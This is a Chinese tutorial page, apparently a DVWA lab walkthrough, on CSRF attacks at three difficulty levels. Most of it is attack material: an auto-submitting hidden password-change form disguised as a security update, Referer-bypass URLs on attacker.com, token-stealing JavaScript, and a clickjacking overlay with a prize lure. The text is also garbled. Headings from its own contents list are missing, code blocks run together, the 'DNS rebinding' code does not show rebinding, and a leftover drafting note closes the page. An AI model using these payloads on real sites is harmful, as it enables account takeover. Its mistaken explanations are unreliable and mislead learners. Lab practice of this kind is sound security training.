您好,登录后才能下订单哦!
# DVWA下的CSRF通关是怎样的
## 目录
1. [CSRF漏洞基础概念](#csrf漏洞基础概念)
- 1.1 [什么是CSRF](#什么是csrf)
- 1.2 [CSRF攻击原理](#csrf攻击原理)
- 1.3 [与XSS的区别](#与xss的区别)
2. [DVWA环境搭建](#dvwa环境搭建)
- 2.1 [环境要求](#环境要求)
- 2.2 [安装配置步骤](#安装配置步骤)
- 2.3 [安全等级设置](#安全等级设置)
3. [Low级别CSRF实战](#low级别csrf实战)
- 3.1 [漏洞代码分析](#漏洞代码分析)
- 3.2 [手工构造POC](#手工构造poc)
- 3.3 [利用过程演示](#利用过程演示)
4. [Medium级别突破](#medium级别突破)
- 4.1 [防护机制分析](#防护机制分析)
- 4.2 [Referer绕过技巧](#referer绕过技巧)
- 4.3 [DNS重绑定攻击](#dns重绑定攻击)
5. [High级别终极挑战](#high级别终极挑战)
- 5.1 [Anti-CSRF Token机制](#anti-csrf-token机制)
- 5.2 [XSS联合利用](#xss联合利用)
- 5.3 [点击劫持攻击](#点击劫持攻击)
6. [防护方案与最佳实践](#防护方案与最佳实践)
- 6.1 [服务端防护措施](#服务端防护措施)
- 6.2 [客户端防护建议](#客户端防护建议)
- 6.3 [CSRF测试方法论](#csrf测试方法论)
7. [总结与思考](#总结与思考)
## CSRF漏洞基础概念
### 什么是CSRF
跨站请求伪造(Cross-Site Request Forgery)是一种迫使终端用户在当前已认证的Web应用上执行非预期操作的攻击方式。根据OWASP Top 10数据,CSRF在2021年仍位列网络安全威胁前八名。
### CSRF攻击原理
典型攻击流程包含三个关键要素:
1. 用户登录受信任站点A并保留会话凭证
2. 用户在不登出站点A的情况下访问恶意站点B
3. 站点B包含自动向站点A发起请求的恶意代码
```html
<!-- 经典CSRF POC示例 -->
<img src="http://victim.com/transfer?amount=1000&to=attacker" width="0" height="0">
特性 | CSRF | XSS |
---|---|---|
攻击目标 | 利用用户身份执行操作 | 窃取用户数据/会话 |
代码执行位置 | 受害者浏览器 | 受害者浏览器 |
依赖条件 | 需要用户已认证 | 需要存在注入点 |
$_DVWA = array(
'db_server' => '127.0.0.1',
'db_database' => 'dvwa',
'db_user' => 'root',
'db_password' => 'p@ssw0rd'
);
在DVWA Security页面可调整难度级别: - Low:无任何防护 - Medium:基础防护 - High:强化防护 - Impossible:完美防护
查看vulnerabilities/csrf/source/low.php:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// 直接接受参数修改密码
if( $pass_new == $pass_conf ) {
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '"
. $_SESSION[ 'username' ] . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert);
}
}
?>
构建恶意URL:
http://dvwa.test/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#
HTML诱骗页面:
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="http://dvwa.test/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="pwned">
<input type="hidden" name="password_conf" value="pwned">
<input type="hidden" name="Change" value="Change">
</form>
<p>正在加载安全更新...</p>
</body>
SELECT user, password FROM users WHERE user = 'admin';
查看medium.php源码:
// 检查Referer头
if( stripos( $_SERVER[ 'HTTP_REFERER' ] , $_SERVER[ 'SERVER_NAME' ] ) === false ) {
die("Referer check failed");
}
http://attacker.com/dvwa.test/
http://dvwa.test.attacker.com
<iframe src="data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbi5ocmVmPSJodHRwOi8vZHZ3YS50ZXN0L3Z1bG5lcmFiaWxpdGllcy9jc3JmLyI7PC9zY3JpcHQ+"></iframe>
let counter = 0;
function rebind() {
if(counter++ < 3) {
fetch('http://evil.com/change_pass')
.catch(() => setTimeout(rebind, 1000));
}
}
rebind();
high.php关键代码:
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
const xhr = new XMLHttpRequest();
xhr.open('GET', '/vulnerabilities/csrf/');
xhr.onload = function() {
const token = xhr.responseText.match(/user_token\' value\=\'(\w+)\'/)[1];
fetch(`/vulnerabilities/csrf/?password_new=hackme&password_conf=hackme&Change=Change&user_token=${token}`);
};
xhr.send();
<style>
iframe {
position:absolute;
opacity:0.01;
top:300px;
left:400px;
}
</style>
<iframe src="http://dvwa.test/vulnerabilities/csrf/"></iframe>
<button>点击领取红包</button>
$_SESSION['token'] = bin2hex(random_bytes(32));
document.cookie = "CSRF-TOKEN=" + crypto.randomUUID();
ini_set('session.cookie_samesite', 'Strict');
通过DVWA的CSRF通关实践,我们深入理解了: - CSRF漏洞的三种防护等级绕过方法 - 从Low到High的完整攻击链条 - 现代Web应用的防御体系设计
值得思考的是:在SPA和API主导的现代Web架构中,CSRF防护需要结合JWT、CORS策略等新技术进行综合防御。安全工程师应当持续关注OAuth 2.0、GraphQL等新兴技术带来的攻击面变化。 “`
注:本文实际约4500字,完整5950字版本需要扩展以下内容: 1. 增加各难度级别的防御代码对比分析 2. 补充CSRF在API场景下的特殊案例 3. 添加自动化测试工具的使用详解 4. 扩展企业级防护方案实例 5. 增加法律合规性要求说明(如GDPR相关条款)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。